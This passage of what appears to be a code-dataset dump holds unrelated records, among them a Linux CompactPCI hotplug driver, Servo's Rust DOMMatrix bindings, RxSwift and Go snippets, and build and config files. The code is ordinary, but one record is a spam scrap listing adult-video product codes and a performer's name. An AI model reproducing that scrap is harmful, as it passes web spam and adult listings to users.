len(importsUsed))\n\tfor _, n := range names {\n\t\ti := importsUsed[n]\n\t\tspecs = append(specs, &ast.ImportSpec{\n\t\t\tName: &ast.Ident{Name: i.newName},\n\t\t\tPath: &ast.BasicLit{Value: i.path},\n\t\t})\n\t}\n\n\treturn &ast.GenDecl{\n\t\tTok: token.IMPORT,\n\t\tSpecs: specs,\n\t\tLparen: token.NoPos + 1,\n\t}, nil\n}\n"} {"text": "include *\nexclude *.swp\n"} {"text": "target \"4.16-2020-06\" with source configurePhase\n\nlocation \"https://download.eclipse.org/releases/2020-06/\" {\n\t// Eclipse platform\n\torg.eclipse.sdk.ide lazy\n\torg.eclipse.ecf.core.feature.feature.group lazy\n\torg.eclipse.ecf.filetransfer.feature.feature.group lazy\n\torg.eclipse.emf.sdk.feature.group lazy\n\torg.eclipse.equinox.concurrent lazy\n\n\t// Mylyn integration\n\torg.eclipse.mylyn.commons.sdk.feature.group lazy\n\torg.eclipse.mylyn.ide_feature.feature.group lazy\n\torg.eclipse.mylyn.team_feature.feature.group lazy\n\torg.eclipse.mylyn_feature.feature.group lazy\n\torg.eclipse.mylyn.context_feature.feature.group lazy\n\torg.eclipse.mylyn.bugzilla_feature.feature.group lazy\n\n\t// debugging SWT layouts\n\torg.eclipse.tools.layout.spy lazy\n}\n\nlocation \"https://download.eclipse.org/mylyn/releases/latest\" {\n\t// some Mylyn dependencies as bundles, to avoid mylyn.trac, which would lead to conflicts\n\tjavax.xml lazy\n\torg.apache.lucene.analyzers-common [6.1.0,6.2.0)\n\torg.apache.lucene.core [6.1.0,6.2.0)\n\torg.apache.lucene.queryparser [6.1.0,6.2.0)\n\torg.apache.xerces lazy\n\torg.apache.xml.resolver lazy\n\torg.apache.xml.serializer lazy\n}"} {"text": "fileFormatVersion: 2\nguid: 254640b3578a24bd2838c1fa39f1011a\nMonoImporter:\n externalObjects: {}\n serializedVersion: 2\n defaultReferences: []\n executionOrder: 0\n icon: {instanceID: 0}\n userData: \n assetBundleName: \n assetBundleVariant: \n"} {"text": "import * as collections from './collections';\nimport * as models from './models';\nimport * as views from './views';\nimport JobStatus from './JobStatus';\n\nexport {\n collections,\n models,\n views,\n JobStatus\n};\n"} {"text": "河本みりあ最新番号\r\n【LB-023】やっちゃいました 河本みりあ\r\n【LB-017】初めてなんです 河本みりあ</a>2018-01-24グラビジョン$$$89分钟"} {"text": "/*\n * cpcihp_zt5550.c\n *\n * Intel/Ziatech ZT5550 CompactPCI Host Controller driver\n *\n * Copyright 2002 SOMA Networks, Inc.\n * Copyright 2001 Intel San Luis Obispo\n * Copyright 2000,2001 MontaVista Software Inc.\n *\n * This program is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License as published by the\n * Free Software Foundation; either version 2 of the License, or (at your\n * option) any later version.\n *\n * THIS SOFTWARE IS PROVIDED \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES,\n * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY \n * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL \n * THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, \n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, \n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR \n * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF \n * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING \n * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS \n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * You should have received a copy of the GNU General Public License along\n * with this program; if not, write to the Free Software Foundation, Inc.,\n * 675 Mass Ave, Cambridge, MA 02139, USA.\n *\n * Send feedback to <scottm@somanetworks.com>\n */\n\n#include <linux/module.h>\n#include <linux/moduleparam.h>\n#include <linux/init.h>\n#include <linux/errno.h>\n#include <linux/pci.h>\n#include <linux/interrupt.h>\n#include <linux/signal.h>\t/* IRQF_SHARED */\n#include \"cpci_hotplug.h\"\n#include \"cpcihp_zt5550.h\"\n\n#define DRIVER_VERSION\t\"0.2\"\n#define DRIVER_AUTHOR\t\"Scott Murray <scottm@somanetworks.com>\"\n#define DRIVER_DESC\t\"ZT5550 CompactPCI Hot Plug Driver\"\n\n#define MY_NAME\t\"cpcihp_zt5550\"\n\n#define dbg(format, arg...)\t\t\t\t\t\\\n\tdo {\t\t\t\t\t\t\t\\\n\t\tif(debug)\t\t\t\t\t\\\n\t\t\tprintk (KERN_DEBUG \"%s: \" format \"\\n\",\t\\\n\t\t\t\tMY_NAME , ## arg); \t\t\\\n\t} while(0)\n#define err(format, arg...) printk(KERN_ERR \"%s: \" format \"\\n\", MY_NAME , ## arg)\n#define info(format, arg...) printk(KERN_INFO \"%s: \" format \"\\n\", MY_NAME , ## arg)\n#define warn(format, arg...) printk(KERN_WARNING \"%s: \" format \"\\n\", MY_NAME , ## arg)\n\n/* local variables */\nstatic bool debug;\nstatic bool poll;\nstatic struct cpci_hp_controller_ops zt5550_hpc_ops;\nstatic struct cpci_hp_controller zt5550_hpc;\n\n/* Primary cPCI bus bridge device */\nstatic struct pci_dev *bus0_dev;\nstatic struct pci_bus *bus0;\n\n/* Host controller device */\nstatic struct pci_dev *hc_dev;\n\n/* Host controller register addresses */\nstatic void __iomem *hc_registers;\nstatic void __iomem *csr_hc_index;\nstatic void __iomem *csr_hc_data;\nstatic void __iomem *csr_int_status;\nstatic void __iomem *csr_int_mask;\n\n\nstatic int zt5550_hc_config(struct pci_dev *pdev)\n{\n\tint ret;\n\n\t/* Since we know that no boards exist with two HC chips, treat it as an error */\n\tif(hc_dev) {\n\t\terr(\"too many host controller devices?\");\n\t\treturn -EBUSY;\n\t}\n\n\tret = pci_enable_device(pdev);\n\tif(ret) {\n\t\terr(\"cannot enable %s\\n\", pci_name(pdev));\n\t\treturn ret;\n\t}\n\n\thc_dev = pdev;\n\tdbg(\"hc_dev = %p\", hc_dev);\n\tdbg(\"pci resource start %llx\", (unsigned long long)pci_resource_start(hc_dev, 1));\n\tdbg(\"pci resource len %llx\", (unsigned long long)pci_resource_len(hc_dev, 1));\n\n\tif(!request_mem_region(pci_resource_start(hc_dev, 1),\n\t\t\t\tpci_resource_len(hc_dev, 1), MY_NAME)) {\n\t\terr(\"cannot reserve MMIO region\");\n\t\tret = -ENOMEM;\n\t\tgoto exit_disable_device;\n\t}\n\n\thc_registers =\n\t ioremap(pci_resource_start(hc_dev, 1), pci_resource_len(hc_dev, 1));\n\tif(!hc_registers) {\n\t\terr(\"cannot remap MMIO region %llx @ %llx\",\n\t\t\t(unsigned long long)pci_resource_len(hc_dev, 1),\n\t\t\t(unsigned long long)pci_resource_start(hc_dev, 1));\n\t\tret = -ENODEV;\n\t\tgoto exit_release_region;\n\t}\n\n\tcsr_hc_index = hc_registers + CSR_HCINDEX;\n\tcsr_hc_data = hc_registers + CSR_HCDATA;\n\tcsr_int_status = hc_registers + CSR_INTSTAT;\n\tcsr_int_mask = hc_registers + CSR_INTMASK;\n\n\t/*\n\t * Disable host control, fault and serial interrupts\n\t */\n\tdbg(\"disabling host control, fault and serial interrupts\");\n\twriteb((u8) HC_INT_MASK_REG, csr_hc_index);\n\twriteb((u8) ALL_INDEXED_INTS_MASK, csr_hc_data);\n\tdbg(\"disabled host control, fault and serial interrupts\");\n\n\t/*\n\t * Disable timer0, timer1 and ENUM interrupts\n\t */\n\tdbg(\"disabling timer0, timer1 and ENUM interrupts\");\n\twriteb((u8) ALL_DIRECT_INTS_MASK, csr_int_mask);\n\tdbg(\"disabled timer0, timer1 and ENUM interrupts\");\n\treturn 0;\n\nexit_release_region:\n\trelease_mem_region(pci_resource_start(hc_dev, 1),\n\t\t\t pci_resource_len(hc_dev, 1));\nexit_disable_device:\n\tpci_disable_device(hc_dev);\n\treturn ret;\n}\n\nstatic int zt5550_hc_cleanup(void)\n{\n\tif(!hc_dev)\n\t\treturn -ENODEV;\n\n\tiounmap(hc_registers);\n\trelease_mem_region(pci_resource_start(hc_dev, 1),\n\t\t\t pci_resource_len(hc_dev, 1));\n\tpci_disable_device(hc_dev);\n\treturn 0;\n}\n\nstatic int zt5550_hc_query_enum(void)\n{\n\tu8 value;\n\n\tvalue = inb_p(ENUM_PORT);\n\treturn ((value & ENUM_MASK) == ENUM_MASK);\n}\n\nstatic int zt5550_hc_check_irq(void *dev_id)\n{\n\tint ret;\n\tu8 reg;\n\n\tret = 0;\n\tif(dev_id == zt5550_hpc.dev_id) {\n\t\treg = readb(csr_int_status);\n\t\tif(reg)\n\t\t\tret = 1;\n\t}\n\treturn ret;\n}\n\nstatic int zt5550_hc_enable_irq(void)\n{\n\tu8 reg;\n\n\tif(hc_dev == NULL) {\n\t\treturn -ENODEV;\n\t}\n\treg = readb(csr_int_mask);\n\treg = reg & ~ENUM_INT_MASK;\n\twriteb(reg, csr_int_mask);\n\treturn 0;\n}\n\nstatic int zt5550_hc_disable_irq(void)\n{\n\tu8 reg;\n\n\tif(hc_dev == NULL) {\n\t\treturn -ENODEV;\n\t}\n\n\treg = readb(csr_int_mask);\n\treg = reg | ENUM_INT_MASK;\n\twriteb(reg, csr_int_mask);\n\treturn 0;\n}\n\nstatic int zt5550_hc_init_one (struct pci_dev *pdev, const struct pci_device_id *ent)\n{\n\tint status;\n\n\tstatus = zt5550_hc_config(pdev);\n\tif(status != 0) {\n\t\treturn status;\n\t}\n\tdbg(\"returned from zt5550_hc_config\");\n\n\tmemset(&zt5550_hpc, 0, sizeof (struct cpci_hp_controller));\n\tzt5550_hpc_ops.query_enum = zt5550_hc_query_enum;\n\tzt5550_hpc.ops = &zt5550_hpc_ops;\n\tif(!poll) {\n\t\tzt5550_hpc.irq = hc_dev->irq;\n\t\tzt5550_hpc.irq_flags = IRQF_SHARED;\n\t\tzt5550_hpc.dev_id = hc_dev;\n\n\t\tzt5550_hpc_ops.enable_irq = zt5550_hc_enable_irq;\n\t\tzt5550_hpc_ops.disable_irq = zt5550_hc_disable_irq;\n\t\tzt5550_hpc_ops.check_irq = zt5550_hc_check_irq;\n\t} else {\n\t\tinfo(\"using ENUM# polling mode\");\n\t}\n\n\tstatus = cpci_hp_register_controller(&zt5550_hpc);\n\tif(status != 0) {\n\t\terr(\"could not register cPCI hotplug controller\");\n\t\tgoto init_hc_error;\n\t}\n\tdbg(\"registered controller\");\n\n\t/* Look for first device matching cPCI bus's bridge vendor and device IDs */\n\tif(!(bus0_dev = pci_get_device(PCI_VENDOR_ID_DEC,\n\t\t\t\t\t PCI_DEVICE_ID_DEC_21154, NULL))) {\n\t\tstatus = -ENODEV;\n\t\tgoto init_register_error;\n\t}\n\tbus0 = bus0_dev->subordinate;\n\tpci_dev_put(bus0_dev);\n\n\tstatus = cpci_hp_register_bus(bus0, 0x0a, 0x0f);\n\tif(status != 0) {\n\t\terr(\"could not register cPCI hotplug bus\");\n\t\tgoto init_register_error;\n\t}\n\tdbg(\"registered bus\");\n\n\tstatus = cpci_hp_start();\n\tif(status != 0) {\n\t\terr(\"could not started cPCI hotplug system\");\n\t\tcpci_hp_unregister_bus(bus0);\n\t\tgoto init_register_error;\n\t}\n\tdbg(\"started cpci hp system\");\n\n\treturn 0;\ninit_register_error:\n\tcpci_hp_unregister_controller(&zt5550_hpc);\ninit_hc_error:\n\terr(\"status = %d\", status);\n\tzt5550_hc_cleanup();\n\treturn status;\n\n}\n\nstatic void __devexit zt5550_hc_remove_one(struct pci_dev *pdev)\n{\n\tcpci_hp_stop();\n\tcpci_hp_unregister_bus(bus0);\n\tcpci_hp_unregister_controller(&zt5550_hpc);\n\tzt5550_hc_cleanup();\n}\n\n\nstatic struct pci_device_id zt5550_hc_pci_tbl[] = {\n\t{ PCI_VENDOR_ID_ZIATECH, PCI_DEVICE_ID_ZIATECH_5550_HC, PCI_ANY_ID, PCI_ANY_ID, },\n\t{ 0, }\n};\nMODULE_DEVICE_TABLE(pci, zt5550_hc_pci_tbl);\n\t\nstatic struct pci_driver zt5550_hc_driver = {\n\t.name\t\t= \"zt5550_hc\",\n\t.id_table\t= zt5550_hc_pci_tbl,\n\t.probe\t\t= zt5550_hc_init_one,\n\t.remove\t\t= __devexit_p(zt5550_hc_remove_one),\n};\n\nstatic int __init zt5550_init(void)\n{\n\tstruct resource* r;\n\tint rc;\n\n\tinfo(DRIVER_DESC \" version: \" DRIVER_VERSION);\n\tr = request_region(ENUM_PORT, 1, \"#ENUM hotswap signal register\");\n\tif(!r)\n\t\treturn -EBUSY;\n\n\trc = pci_register_driver(&zt5550_hc_driver);\n\tif(rc < 0)\n\t\trelease_region(ENUM_PORT, 1);\n\treturn rc;\n}\n\nstatic void __exit\nzt5550_exit(void)\n{\n\tpci_unregister_driver(&zt5550_hc_driver);\n\trelease_region(ENUM_PORT, 1);\n}\n\nmodule_init(zt5550_init);\nmodule_exit(zt5550_exit);\n\nMODULE_AUTHOR(DRIVER_AUTHOR);\nMODULE_DESCRIPTION(DRIVER_DESC);\nMODULE_LICENSE(\"GPL\");\nmodule_param(debug, bool, 0644);\nMODULE_PARM_DESC(debug, \"Debugging mode enabled or not\");\nmodule_param(poll, bool, 0644);\nMODULE_PARM_DESC(poll, \"#ENUM polling mode enabled or not\");\n"} {"text": "{\n \"name-u\": \"Name:\",\n \"mekatek-u\": \"Mekatek\",\n \"close-combat-u\": \"Close Combat\",\n \"gun-play-u\": \"Gun Play\",\n \"b-and-e-action-u\": \"B &amp; E Action\",\n \"stealthing-u\": \"Stealthing\",\n \"movement-u\": \"Передвижение\",\n \"stars-u\": \"Stars\",\n \"awareness-u\": \"Awareness\",\n \"streetwise-u\": \"Streetwise\",\n \"persuasion-u\": \"Убеждение\",\n \"technology-u\": \"Technology\",\n \"research-u\": \"Research\",\n \"light-u\": \"Свет\",\n \"serious-u\": \"Serious\",\n \"heavy-u\": \"Heavy\",\n \"dead-u\": \"Dead\"\n}"} {"text": "/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http://mozilla.org/MPL/2.0/. */\n\nuse dom::bindings::codegen::Bindings::DOMMatrixBinding::{Wrap, DOMMatrixMethods, DOMMatrixInit};\nuse dom::bindings::codegen::Bindings::DOMMatrixReadOnlyBinding::DOMMatrixReadOnlyMethods;\nuse dom::bindings::error::Fallible;\nuse dom::bindings::inheritance::Castable;\nuse dom::bindings::reflector::reflect_dom_object;\nuse dom::bindings::root::DomRoot;\nuse dom::dommatrixreadonly::{dommatrixinit_to_matrix, DOMMatrixReadOnly, entries_to_matrix};\nuse dom::globalscope::GlobalScope;\nuse dom_struct::dom_struct;\nuse euclid::Transform3D;\n\n\n#[dom_struct]\npub struct DOMMatrix {\n parent: DOMMatrixReadOnly\n}\n\nimpl DOMMatrix {\n #[allow(unrooted_must_root)]\n pub fn new(global: &GlobalScope, is2D: bool, matrix: Transform3D<f64>) -> DomRoot<Self> {\n let dommatrix = Self::new_inherited(is2D, matrix);\n reflect_dom_object(box dommatrix, global, Wrap)\n }\n\n pub fn new_inherited(is2D: bool, matrix: Transform3D<f64>) -> Self {\n DOMMatrix {\n parent: DOMMatrixReadOnly::new_inherited(is2D, matrix)\n }\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrix-dommatrix\n pub fn Constructor(global: &GlobalScope) -> Fallible<DomRoot<Self>> {\n Self::Constructor_(global, vec![1.0, 0.0, 0.0, 1.0, 0.0, 0.0])\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrix-dommatrix-numbersequence\n pub fn Constructor_(global: &GlobalScope, entries: Vec<f64>) -> Fallible<DomRoot<Self>> {\n entries_to_matrix(&entries[..])\n .map(|(is2D, matrix)| {\n Self::new(global, is2D, matrix)\n })\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrix-frommatrix\n pub fn FromMatrix(global: &GlobalScope, other: &DOMMatrixInit) -> Fallible<DomRoot<Self>> {\n dommatrixinit_to_matrix(&other)\n .map(|(is2D, matrix)| {\n Self::new(global, is2D, matrix)\n })\n }\n\n pub fn from_readonly(global: &GlobalScope, ro: &DOMMatrixReadOnly) -> DomRoot<Self> {\n Self::new(global, ro.is_2d(), ro.matrix().clone())\n }\n}\n\nimpl DOMMatrixMethods for DOMMatrix {\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-m11\n fn M11(&self) -> f64 {\n self.upcast::<DOMMatrixReadOnly>().M11()\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-m11\n fn SetM11(&self, value: f64) {\n self.upcast::<DOMMatrixReadOnly>().set_m11(value);\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-m12\n fn M12(&self) -> f64 {\n self.upcast::<DOMMatrixReadOnly>().M12()\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-m12\n fn SetM12(&self, value: f64) {\n self.upcast::<DOMMatrixReadOnly>().set_m12(value);\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-m13\n fn M13(&self) -> f64 {\n self.upcast::<DOMMatrixReadOnly>().M13()\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-m13\n fn SetM13(&self, value: f64) {\n self.upcast::<DOMMatrixReadOnly>().set_m13(value);\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-m14\n fn M14(&self) -> f64 {\n self.upcast::<DOMMatrixReadOnly>().M14()\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-m14\n fn SetM14(&self, value: f64) {\n self.upcast::<DOMMatrixReadOnly>().set_m14(value);\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-m21\n fn M21(&self) -> f64 {\n self.upcast::<DOMMatrixReadOnly>().M21()\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-m21\n fn SetM21(&self, value: f64) {\n self.upcast::<DOMMatrixReadOnly>().set_m21(value);\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-m22\n fn M22(&self) -> f64 {\n self.upcast::<DOMMatrixReadOnly>().M22()\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-m22\n fn SetM22(&self, value: f64) {\n self.upcast::<DOMMatrixReadOnly>().set_m22(value);\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-m23\n fn M23(&self) -> f64 {\n self.upcast::<DOMMatrixReadOnly>().M23()\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-m23\n fn SetM23(&self, value: f64) {\n self.upcast::<DOMMatrixReadOnly>().set_m23(value);\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-m24\n fn M24(&self) -> f64 {\n self.upcast::<DOMMatrixReadOnly>().M24()\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-m24\n fn SetM24(&self, value: f64) {\n self.upcast::<DOMMatrixReadOnly>().set_m24(value);\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-m31\n fn M31(&self) -> f64 {\n self.upcast::<DOMMatrixReadOnly>().M31()\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-m31\n fn SetM31(&self, value: f64) {\n self.upcast::<DOMMatrixReadOnly>().set_m31(value);\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-m32\n fn M32(&self) -> f64 {\n self.upcast::<DOMMatrixReadOnly>().M32()\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-m32\n fn SetM32(&self, value: f64) {\n self.upcast::<DOMMatrixReadOnly>().set_m32(value);\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-m33\n fn M33(&self) -> f64 {\n self.upcast::<DOMMatrixReadOnly>().M33()\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-m33\n fn SetM33(&self, value: f64) {\n self.upcast::<DOMMatrixReadOnly>().set_m33(value);\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-m34\n fn M34(&self) -> f64 {\n self.upcast::<DOMMatrixReadOnly>().M34()\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-m34\n fn SetM34(&self, value: f64) {\n self.upcast::<DOMMatrixReadOnly>().set_m34(value);\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-m41\n fn M41(&self) -> f64 {\n self.upcast::<DOMMatrixReadOnly>().M41()\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-m41\n fn SetM41(&self, value: f64) {\n self.upcast::<DOMMatrixReadOnly>().set_m41(value);\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-m42\n fn M42(&self) -> f64 {\n self.upcast::<DOMMatrixReadOnly>().M42()\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-m42\n fn SetM42(&self, value: f64) {\n self.upcast::<DOMMatrixReadOnly>().set_m42(value);\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-m43\n fn M43(&self) -> f64 {\n self.upcast::<DOMMatrixReadOnly>().M43()\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-m43\n fn SetM43(&self, value: f64) {\n self.upcast::<DOMMatrixReadOnly>().set_m43(value);\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-m44\n fn M44(&self) -> f64 {\n self.upcast::<DOMMatrixReadOnly>().M44()\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-m44\n fn SetM44(&self, value: f64) {\n self.upcast::<DOMMatrixReadOnly>().set_m44(value);\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-a\n fn A(&self) -> f64 {\n self.upcast::<DOMMatrixReadOnly>().A()\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-a\n fn SetA(&self, value: f64) {\n self.upcast::<DOMMatrixReadOnly>().set_m11(value);\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-b\n fn B(&self) -> f64 {\n self.upcast::<DOMMatrixReadOnly>().B()\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-b\n fn SetB(&self, value: f64) {\n self.upcast::<DOMMatrixReadOnly>().set_m12(value);\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-c\n fn C(&self) -> f64 {\n self.upcast::<DOMMatrixReadOnly>().C()\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-c\n fn SetC(&self, value: f64) {\n self.upcast::<DOMMatrixReadOnly>().set_m21(value);\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-d\n fn D(&self) -> f64 {\n self.upcast::<DOMMatrixReadOnly>().D()\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-d\n fn SetD(&self, value: f64) {\n self.upcast::<DOMMatrixReadOnly>().set_m22(value);\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-e\n fn E(&self) -> f64 {\n self.upcast::<DOMMatrixReadOnly>().E()\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-e\n fn SetE(&self, value: f64) {\n self.upcast::<DOMMatrixReadOnly>().set_m41(value);\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-f\n fn F(&self) -> f64 {\n self.upcast::<DOMMatrixReadOnly>().F()\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrixreadonly-f\n fn SetF(&self, value: f64) {\n self.upcast::<DOMMatrixReadOnly>().set_m42(value);\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrix-multiplyself\n fn MultiplySelf(&self, other:&DOMMatrixInit) -> Fallible<DomRoot<DOMMatrix>> {\n // Steps 1-3.\n self.upcast::<DOMMatrixReadOnly>().multiply_self(other)\n // Step 4.\n .and(Ok(DomRoot::from_ref(&self)))\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrix-premultiplyself\n fn PreMultiplySelf(&self, other:&DOMMatrixInit) -> Fallible<DomRoot<DOMMatrix>> {\n // Steps 1-3.\n self.upcast::<DOMMatrixReadOnly>().pre_multiply_self(other)\n // Step 4.\n .and(Ok(DomRoot::from_ref(&self)))\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrix-translateself\n fn TranslateSelf(&self, tx: f64, ty: f64, tz: f64) -> DomRoot<DOMMatrix> {\n // Steps 1-2.\n self.upcast::<DOMMatrixReadOnly>().translate_self(tx, ty, tz);\n // Step 3.\n DomRoot::from_ref(&self)\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrix-scaleself\n fn ScaleSelf(&self, scaleX: f64, scaleY: Option<f64>, scaleZ: f64,\n originX: f64, originY: f64, originZ: f64) -> DomRoot<DOMMatrix> {\n // Steps 1-6.\n self.upcast::<DOMMatrixReadOnly>().scale_self(scaleX, scaleY, scaleZ, originX, originY, originZ);\n // Step 7.\n DomRoot::from_ref(&self)\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrix-scale3dself\n fn Scale3dSelf(&self, scale: f64, originX: f64, originY: f64, originZ: f64) -> DomRoot<DOMMatrix> {\n // Steps 1-4.\n self.upcast::<DOMMatrixReadOnly>().scale_3d_self(scale, originX, originY, originZ);\n // Step 5.\n DomRoot::from_ref(&self)\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrix-rotateself\n fn RotateSelf(&self, rotX: f64, rotY: Option<f64>, rotZ: Option<f64>) -> DomRoot<DOMMatrix> {\n // Steps 1-7.\n self.upcast::<DOMMatrixReadOnly>().rotate_self(rotX, rotY, rotZ);\n // Step 8.\n DomRoot::from_ref(&self)\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrix-rotatefromvectorself\n fn RotateFromVectorSelf(&self, x: f64, y: f64) -> DomRoot<DOMMatrix> {\n // Step 1.\n self.upcast::<DOMMatrixReadOnly>().rotate_from_vector_self(x, y);\n // Step 2.\n DomRoot::from_ref(&self)\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrix-rotateaxisangleself\n fn RotateAxisAngleSelf(&self, x: f64, y: f64, z: f64, angle: f64) -> DomRoot<DOMMatrix> {\n // Steps 1-2.\n self.upcast::<DOMMatrixReadOnly>().rotate_axis_angle_self(x, y, z, angle);\n // Step 3.\n DomRoot::from_ref(&self)\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrix-skewxself\n fn SkewXSelf(&self, sx: f64) -> DomRoot<DOMMatrix> {\n // Step 1.\n self.upcast::<DOMMatrixReadOnly>().skew_x_self(sx);\n // Step 2.\n DomRoot::from_ref(&self)\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrix-skewyself\n fn SkewYSelf(&self, sy: f64) -> DomRoot<DOMMatrix> {\n // Step 1.\n self.upcast::<DOMMatrixReadOnly>().skew_y_self(sy);\n // Step 2.\n DomRoot::from_ref(&self)\n }\n\n // https://drafts.fxtf.org/geometry-1/#dom-dommatrix-invertself\n fn InvertSelf(&self) -> DomRoot<DOMMatrix> {\n // Steps 1-2.\n self.upcast::<DOMMatrixReadOnly>().invert_self();\n // Step 3.\n DomRoot::from_ref(&self)\n }\n}\n"} {"text": "export const TOP = 'top';\nexport const RIGHT = 'right';\nexport const BOTTOM = 'bottom';\nexport const LEFT = 'left';\n\nexport const all = [\n TOP,\n RIGHT,\n BOTTOM,\n LEFT\n];\n"} {"text": "//\n// ObserverType.swift\n// Rx\n//\n// Created by Krunoslav Zaher on 2/8/15.\n// Copyright © 2015 Krunoslav Zaher. All rights reserved.\n//\n\nimport Foundation\n\n/**\nSupports push-style iteration over an observable sequence.\n*/\npublic protocol ObserverType {\n /**\n The type of elements in sequence that observer can observe.\n */\n associatedtype E\n\n /**\n Notify observer about sequence event.\n \n - parameter event: Event that occured.\n */\n func on(event: Event<E>)\n}\n\n/**\nConvenience API extensions to provide alternate next, error, completed events\n*/\npublic extension ObserverType {\n \n /**\n Convenience method equivalent to `on(.Next(element: E))`\n \n - parameter element: Next element to send to observer(s)\n */\n final func onNext(element: E) {\n on(.Next(element))\n }\n \n /**\n Convenience method equivalent to `on(.Completed)`\n */\n final func onCompleted() {\n on(.Completed)\n }\n \n /**\n Convenience method equivalent to `on(.Error(error: ErrorType))`\n - parameter error: ErrorType to send to observer(s)\n */\n final func onError(error: ErrorType) {\n on(.Error(error))\n }\n}\n"} {"text": "# NOTE: Derived from ../../lib/POSIX.pm.\n# Changes made here will be lost when autosplit is run again.\n# See AutoSplit.pm.\npackage POSIX;\n\n#line 200 \"../../lib/POSIX.pm (autosplit into ../../lib/auto/POSIX/getpwuid.al)\"\nsub getpwuid {\n usage \"getpwuid(uid)\" if @_ != 1;\n CORE::getpwuid($_[0]);\n}\n\n# end of POSIX::getpwuid\n1;\n"} {"text": "import React, { ComponentType } from 'react'\nimport { Component } from '@tarojs/taro'\nimport { View, Image } from '@tarojs/components'\nimport { observer, inject } from '@tarojs/mobx'\n\nimport infoStore from '../../../store/infoStore'\n\nimport './index.scss'\n\ninterface IProps {\n infoStore: infoStore,\n}\n\n@inject('infoStore')\n@observer\nclass PersonalInfo extends 